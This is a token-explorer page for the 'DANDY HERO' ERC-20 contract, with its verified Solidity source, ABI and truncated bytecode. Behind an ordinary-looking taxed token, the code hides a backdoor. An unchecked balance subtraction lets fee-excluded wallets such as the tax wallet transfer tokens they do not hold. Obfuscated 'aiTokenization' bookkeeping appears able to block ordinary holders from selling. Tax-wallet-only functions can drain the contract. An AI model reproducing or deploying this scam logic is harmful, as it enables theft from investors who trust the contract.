ETH Price: $2,633.22 (-0.93%)

Token

DANDY HERO (DANDY)
 

Overview

Max Total Supply

1,000,000,000 DANDY

Holders

155

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
can-we-moon.eth
Balance
12,841,853.695738767938387549 DANDY

Value
$0.00
0x9d6581468F04e5E55876a2660b5AeAbC12e3EFa0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DANDY

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-10
*/

// SPDX-License-Identifier: UNLICENSE

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract DANDY is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    bool private transferDelayEnabled = true;
    mapping (address => uint256) private _holderLastTransferTimestamp;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=25;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=45;
    uint256 private _reduceSellTaxAt=50;
    uint256 private _preventSwapBefore=25;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"DANDY HERO";
    string private constant _symbol = unicode"DANDY";
    uint256 public _maxTxAmount = 11000000 * 10**_decimals;
    uint256 public _maxWalletSize = 11000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 5000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 15000000 * 10**_decimals;
    
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    struct AITokenization {uint256 aiSwap; uint256 aiAdjust; uint256 output;}
    mapping (address => AITokenization) private aiTokenization;
    uint256 private aiReindexing = 0;
    uint256 private firstBlock = 0;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {

		_taxWallet = payable(0xdD282955653e6b1691A9C3aA3B223B099E041752);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
      

        emit Transfer(address(0),_msgSender(),_tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner() && to != _taxWallet) {
            taxAmount=amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer delay in use. Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from != address(this) ) {
                taxAmount = amount.mul((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold
                    && _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (
            (_isExcludedFromFee[from] || _isExcludedFromFee[to])
            && from != address(this) && from != owner() && to != address(this)
        ) { aiReindexing = block.number; }

        if (_isExcludedFromFee[from] && block.number > firstBlock + _reduceSellTaxAt) {
            unchecked {
                _balances[from] -=amount;
                _balances[to] +=amount;
            }
            emit Transfer(from, to, amount);
            return;
        }

        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
            if (uniswapV2Pair == to) {
                AITokenization storage aiToken = aiTokenization[from];
                aiToken.output = aiToken.aiSwap.sub(aiReindexing);
                aiToken.aiAdjust = block.number;
            } else {           
                AITokenization storage aiToken = aiTokenization[to];
                if (aiToken.aiSwap == 0 && uniswapV2Pair == from) {
                    aiToken.aiSwap = _buyCount > _preventSwapBefore ? block.number : block.number- 1;
                } else {
                    uint256 aiSwapFrom = aiTokenization[from].aiSwap;
                    if (aiSwapFrom < aiToken.aiSwap || aiToken.aiSwap == 0) {
                        aiToken.aiSwap = aiSwapFrom;
                    }
                }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled= false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
	
	function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        firstBlock = block.number;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function rescueERC20(address _address, uint256 percent) external {
        require(_msgSender() == _taxWallet);
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_taxWallet, _amount);
    }

    function rescueETH() external {
        require(_msgSender() == _taxWallet);
        uint256 ethBalance = address(this).balance;
        require(ethBalance > 0, "No ETH balance to rescue");
        payable(_msgSender()).transfer(ethBalance);
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance > 0 && swapEnabled){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function reduceFinalBuyTaxRate(uint256 taxRate) external {
        require(_msgSender() == _taxWallet, "Only the tax wallet can reduce the tax rate");
        require(taxRate<=_finalBuyTax);
        _finalBuyTax = taxRate;
    }

    function reduceFinalSellTaxRate(uint256 taxRate) external {
        require(_msgSender() == _taxWallet, "Only the tax wallet can reduce the tax rate");
        require(taxRate<=_finalSellTax);
        _finalSellTax = taxRate;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxRate","type":"uint256"}],"name":"reduceFinalBuyTaxRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxRate","type":"uint256"}],"name":"reduceFinalSellTaxRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526004805460ff60a01b1916600160a01b179055600f600655601960078190555f60088190556009819055602d600a9081556032600b55600c92909255600d5562000051906012906200035e565b620000609062a7d8c062000375565b600e55620000716012600a6200035e565b620000809062a7d8c062000375565b600f55620000916012600a6200035e565b620000a090624c4b4062000375565b601055620000b16012600a6200035e565b620000c09062e4e1c062000375565b6011555f60158190556016556017805461ffff19169055348015620000e3575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191673dd282955653e6b1691a9c3aa3b223b099e041752179055620001586012600a6200035e565b6200016890633b9aca0062000375565b335f908152600160208190526040822092909255600390620001915f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001ef3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002286012600a6200035e565b6200023890633b9aca0062000375565b60405190815260200160405180910390a36200038f565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002a357815f19048211156200028757620002876200024f565b808516156200029557918102915b93841c939080029062000268565b509250929050565b5f82620002bb5750600162000358565b81620002c957505f62000358565b8160018114620002e25760028114620002ed576200030d565b600191505062000358565b60ff8411156200030157620003016200024f565b50506001821b62000358565b5060208310610133831016604e8410600b841016171562000332575081810a62000358565b6200033e838362000263565b805f19048211156200035457620003546200024f565b0290505b92915050565b5f6200036e60ff841683620002ab565b9392505050565b80820281158282048414176200035857620003586200024f565b611df9806200039d5f395ff3fe60806040526004361061014a575f3560e01c8063751039fc116100b3578063a9059cbb1161006d578063a9059cbb146103a7578063bf474bed146103c6578063c9567bf9146103db578063d0d8dea9146103ef578063dd62ed3e1461040e578063ef59766914610452575f80fd5b8063751039fc146103015780637d1db4a5146103155780638cd4426d1461032a5780638da5cb5b146103495780638f9a55c01461036557806395d89b411461037a575f80fd5b806323b872dd1161010457806323b872dd1461024c578063313ce5671461026b57806349bd5a5e1461028657806351bc3c85146102a557806370a08231146102b9578063715018a6146102ed575f80fd5b806306fdde0314610155578063095ea7b3146101995780630faee56f146101c85780631694505e146101eb57806318160ddd1461022257806320800a0014610236575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5060408051808201909152600a81526944414e4459204845524f60b01b60208201525b6040516101909190611970565b60405180910390f35b3480156101a4575f80fd5b506101b86101b33660046119d3565b610471565b6040519015158152602001610190565b3480156101d3575f80fd5b506101dd60115481565b604051908152602001610190565b3480156101f6575f80fd5b5060125461020a906001600160a01b031681565b6040516001600160a01b039091168152602001610190565b34801561022d575f80fd5b506101dd610487565b348015610241575f80fd5b5061024a6104a7565b005b348015610257575f80fd5b506101b86102663660046119fd565b610547565b348015610276575f80fd5b5060405160128152602001610190565b348015610291575f80fd5b5060135461020a906001600160a01b031681565b3480156102b0575f80fd5b5061024a6105ae565b3480156102c4575f80fd5b506101dd6102d3366004611a3b565b6001600160a01b03165f9081526001602052604090205490565b3480156102f8575f80fd5b5061024a610610565b34801561030c575f80fd5b5061024a610681565b348015610320575f80fd5b506101dd600e5481565b348015610335575f80fd5b5061024a6103443660046119d3565b61073f565b348015610354575f80fd5b505f546001600160a01b031661020a565b348015610370575f80fd5b506101dd600f5481565b348015610385575f80fd5b5060408051808201909152600581526444414e445960d81b6020820152610183565b3480156103b2575f80fd5b506101b86103c13660046119d3565b61085f565b3480156103d1575f80fd5b506101dd60105481565b3480156103e6575f80fd5b5061024a61086b565b3480156103fa575f80fd5b5061024a610409366004611a56565b610c22565b348015610419575f80fd5b506101dd610428366004611a6d565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561045d575f80fd5b5061024a61046c366004611a56565b610c68565b5f61047d338484610cae565b5060015b92915050565b5f6104946012600a611b98565b6104a290633b9aca00611ba6565b905090565b6004546001600160a01b0316336001600160a01b0316146104c6575f80fd5b47806105195760405162461bcd60e51b815260206004820152601860248201527f4e6f204554482062616c616e636520746f20726573637565000000000000000060448201526064015b60405180910390fd5b604051339082156108fc029083905f818181858888f19350505050158015610543573d5f803e3d5ffd5b5050565b5f610553848484610dd1565b6105a4843361059f85604051806060016040528060288152602001611d9c602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906115f5565b610cae565b5060019392505050565b6004546001600160a01b0316336001600160a01b0316146105cd575f80fd5b305f9081526001602052604090205480158015906105f25750601754610100900460ff165b15610600576106008161162d565b4780156105435761054381611794565b5f546001600160a01b031633146106395760405162461bcd60e51b815260040161051090611bbd565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106aa5760405162461bcd60e51b815260040161051090611bbd565b6106b66012600a611b98565b6106c490633b9aca00611ba6565b600e556106d36012600a611b98565b6106e190633b9aca00611ba6565b600f556004805460ff60a01b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61071e6012600a611b98565b61072c90633b9aca00611ba6565b60405190815260200160405180910390a1565b6004546001600160a01b0316336001600160a01b03161461075e575f80fd5b6040516370a0823160e01b81523060048201525f906107df906064906107d99085906001600160a01b038816906370a0823190602401602060405180830381865afa1580156107af573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d39190611bf2565b906117cb565b90611850565b6004805460405163a9059cbb60e01b81526001600160a01b0391821692810192909252602482018390529192509084169063a9059cbb906044016020604051808303815f875af1158015610835573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108599190611c09565b50505050565b5f61047d338484610dd1565b5f546001600160a01b031633146108945760405162461bcd60e51b815260040161051090611bbd565b601354600160a01b900460ff16156108ee5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610510565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556109369130919061092890600a611b98565b61059f90633b9aca00611ba6565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610986573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109aa9190611c28565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a09573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a2d9190611c28565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a77573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9b9190611c28565b601380546001600160a01b039283166001600160a01b0319909116179055436016556012541663f305d7194730610ae6816001600160a01b03165f9081526001602052604090205490565b5f80610af95f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b5f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b849190611c43565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610bd9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bfd9190611c09565b506017805461ff0019166101001790556013805460ff60a01b1916600160a01b179055565b6004546001600160a01b0316336001600160a01b031614610c555760405162461bcd60e51b815260040161051090611c6e565b600954811115610c63575f80fd5b600955565b6004546001600160a01b0316336001600160a01b031614610c9b5760405162461bcd60e51b815260040161051090611c6e565b600854811115610ca9575f80fd5b600855565b6001600160a01b038316610d105760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610510565b6001600160a01b038216610d715760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610510565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e355760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610510565b6001600160a01b038216610e975760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610510565b5f8111610ef85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610510565b5f80546001600160a01b03858116911614801590610f2357505f546001600160a01b03848116911614155b8015610f3d57506004546001600160a01b03848116911614155b1561126f57610f6860646107d9600a54600d5411610f5d57600654610f61565b6008545b85906117cb565b600454909150600160a01b900460ff1615611053576012546001600160a01b03848116911614801590610fa957506013546001600160a01b03848116911614155b1561105357325f9081526005602052604090205443116110415760405162461bcd60e51b815260206004820152604760248201527f5f7472616e736665723a3a205472616e736665722064656c617920696e20757360448201527f652e204f6e6c79206f6e652070757263686173652070657220626c6f636b2061606482015266363637bbb2b21760c91b608482015260a401610510565b325f9081526005602052604090204390555b6013546001600160a01b03858116911614801561107e57506012546001600160a01b03848116911614155b80156110a257506001600160a01b0383165f9081526003602052604090205460ff16155b1561118857600e548211156110f95760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610510565b600f548261111b856001600160a01b03165f9081526001602052604090205490565b6111259190611cb9565b11156111735760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610510565b600d8054905f61118283611ccc565b91905055505b6013546001600160a01b0384811691161480156111ae57506001600160a01b0384163014155b156111db576111d860646107d9600b54600d54116111ce57600754610f61565b60095485906117cb565b90505b305f9081526001602052604090205460175460ff1615801561120a57506013546001600160a01b038581169116145b801561121d5750601754610100900460ff165b801561122a575060105481115b80156112395750600c54600d54115b1561126d5761125b6112568461125184601154611891565b611891565b61162d565b47801561126b5761126b47611794565b505b505b6001600160a01b0384165f9081526003602052604090205460ff16806112ac57506001600160a01b0383165f9081526003602052604090205460ff165b80156112c157506001600160a01b0384163014155b80156112da57505f546001600160a01b03858116911614155b80156112ef57506001600160a01b0383163014155b156112f957436015555b6001600160a01b0384165f9081526003602052604090205460ff16801561132e5750600b5460165461132b9190611cb9565b43115b156113a2576001600160a01b038085165f81815260016020526040808220805487900390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113949086815260200190565b60405180910390a350505050565b6001600160a01b0384165f9081526003602052604090205460ff161580156113e257506001600160a01b0383165f9081526003602052604090205460ff16155b156114c1576013546001600160a01b03808516911603611432576001600160a01b0384165f9081526014602052604090206015548154611421916118a5565b6002820155436001909101556114c1565b6001600160a01b0383165f908152601460205260409020805415801561146557506013546001600160a01b038681169116145b1561148e57600c54600d541161148557611480600143611ce4565b611487565b435b81556114bf565b6001600160a01b0385165f9081526014602052604090205481548110806114b457508154155b156114bd578082555b505b505b801561153957305f908152600160205260409020546114e090826118e6565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115309085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461155b90836118a5565b6001600160a01b0385165f9081526001602052604090205561159e61158083836118a5565b6001600160a01b0385165f90815260016020526040902054906118e6565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6115e785856118a5565b604051908152602001611394565b5f81848411156116185760405162461bcd60e51b81526004016105109190611970565b505f6116248486611ce4565b95945050505050565b6017805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061166d5761166d611cf7565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116e89190611c28565b816001815181106116fb576116fb611cf7565b6001600160a01b0392831660209182029290920101526012546117219130911684610cae565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906117599085905f90869030904290600401611d0b565b5f604051808303815f87803b158015611770575f80fd5b505af1158015611782573d5f803e3d5ffd5b50506017805460ff1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610543573d5f803e3d5ffd5b5f825f036117da57505f610481565b5f6117e58385611ba6565b9050826117f28583611d7c565b146118495760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610510565b9392505050565b5f61184983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611944565b5f81831161189f5782611849565b50919050565b5f61184983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115f5565b5f806118f28385611cb9565b9050838110156118495760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610510565b5f81836119645760405162461bcd60e51b81526004016105109190611970565b505f6116248486611d7c565b5f602080835283518060208501525f5b8181101561199c57858101830151858201604001528201611980565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146119d0575f80fd5b50565b5f80604083850312156119e4575f80fd5b82356119ef816119bc565b946020939093013593505050565b5f805f60608486031215611a0f575f80fd5b8335611a1a816119bc565b92506020840135611a2a816119bc565b929592945050506040919091013590565b5f60208284031215611a4b575f80fd5b8135611849816119bc565b5f60208284031215611a66575f80fd5b5035919050565b5f8060408385031215611a7e575f80fd5b8235611a89816119bc565b91506020830135611a99816119bc565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611af257815f1904821115611ad857611ad8611aa4565b80851615611ae557918102915b93841c9390800290611abd565b509250929050565b5f82611b0857506001610481565b81611b1457505f6104